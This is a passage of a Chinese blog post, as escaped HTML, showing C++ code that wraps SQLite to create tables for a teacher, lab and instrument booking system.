class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要删除的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"举个-cpp-里面的例子\"\u003e举个 CPP 里面的例子\u003c/h3\u003e\n\u003cp\u003e目前我没有找到能让我舒心使用的 CPP SQLITE 库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-CPP\" data-lang=\"CPP\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstddef\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sqlite3.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;sstream\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;map\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;algorithm\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e \u003cspan class=\"k\"\u003enamespace\u003c/span\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Data Structure\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eTeacherDS\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTname\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTele\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ePass\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evector\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epair\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*======================================\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e Database Class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e======================================*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Database class\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"nc\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// For insert and delete.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Query the empty time in 2022-12-31.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Create an new database file.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create an empty database.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_CREATE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Create new table.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Teacher ( Tno VARCHAR(10), Tname VARCHAR(20), Tele VARCHAR(20) , TRS VARCHAR(30) ,Pass VARCHAR(40),PRIMARY KEY (Tno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Instrument ( Ino VARCHAR(10), Iname VARCHAR(20), Stat VARCHAR(10),PRIMARY KEY (Ino));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Manage( Ino VARCHAR(10),Lno VARCHAR(10),PRIMARY KEY (Ino,Lno),FOREIGN KEY (Ino)REFERENCES Instrument(Ino),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Lab( Lno VARCHAR(10), Lname VARCHAR(40), People INT ,Purpose VARCHAR(40),Time INT,PRIMARY KEY (Lno));\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE TABLE IF NOT EXISTS Orders( Tno VARCHAR(10), Lno VARCHAR(10), Users VARCHAR(30) ,Btime DATETIME,Etime DATETIME,PRIMARY KEY (Tno,Lno,Btime,Etime),FOREIGN KEY (Tno)REFERENCES Teacher(Tno),FOREIGN KEY (Lno)REFERENCES Lab(Lno) );\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s\"\u003e\u0026#34;CREATE VIEW IF NOT EXISTS SJ_PROJECT AS SELECT Sno,Pno,Qty FROM SPJ,J WHERE Jname = \u0026#39;三建\u0026#39; AND J.Jno = SPJ.Jno;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecreate_table_queries\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ezErrMsg\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t create tables: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Created database successfully\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t open database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 